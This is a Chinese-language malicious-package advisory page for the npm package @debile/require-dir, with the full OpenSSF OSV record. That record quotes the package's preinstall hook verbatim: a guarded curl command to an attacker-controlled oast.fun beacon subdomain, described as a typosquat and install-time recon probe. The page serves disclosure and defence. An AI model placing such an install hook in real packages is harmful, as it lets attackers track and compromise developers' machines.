目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

@debile/require-dir

MAL-2026-10654
2026-07-15 05:51:38
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in @debile/require-dir (npm)

安装阶段执行
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
11
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npm@debile/require-dir1.9.1
npm@debile/require-dir1.9.2
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-15T05:51:38Z","published":"2026-07-15T04:32:04Z","schema_version":"1.7.4","id":"MAL-2026-10654","summary":"Malicious code in @debile/require-dir (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (3075732c05c8b941b57fed9e8fe9c788b28f9ff6fe9ef91936d1802f568c594e)\nPackage @debile/require-dir republishes the code of the well-known require-dir package under a different scope. Its package.json preinstall script runs `bash -c 'if [[ 1 == 2 ]]; then curl https://xgtktsypnmotaeqmgvdmsn0l1hg0yewow.oast.fun; fi'`, which stages an Interactsh (oast.fun) out-of-band beacon in the install lifecycle. The curl is gated behind an always-false `[[ 1 == 2 ]]` guard, so no request is actually issued on install of this version, but the preinstall hook, the attacker-controlled OAST subdomain, and the scope-typosquat of a popular package (require-dir) together form a dependency-confusion / install-time recon probe. Flipping a single character in the guard converts the current release into a live install-time beacon to an attacker-controlled interaction server.\n","affected":[{"package":{"ecosystem":"npm","name":"@debile/require-dir"},"versions":["1.9.1","1.9.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"0210cb6367bd5e780095e81111db99fab73b24afa59a716a69183117e91f7943","tlsh":"00f04e51ce94d9a316c426c4ac694462a122894b8a58fc0ef3c3012d874d5ab127d179"}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@debile/require-dir/v/1.9.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@debile/require-dir/v/1.9.2"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-010619","import_time":"2026-07-15T05:49:44.13968795Z","modified_time":"2026-07-15T04:32:04Z","sha256":"21f83d8be7d017ab502834020238f7311220ea6123433fd93f97ef3cd3ee20cc","source":"amazon-inspector","versions":["1.9.1"]},{"id":"IN-MAL-2026-010620","import_time":"2026-07-15T05:49:44.24387987Z","modified_time":"2026-07-15T04:32:14Z","sha256":"3075732c05c8b941b57fed9e8fe9c788b28f9ff6fe9ef91936d1802f568c594e","source":"amazon-inspector","versions":["1.9.2"]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0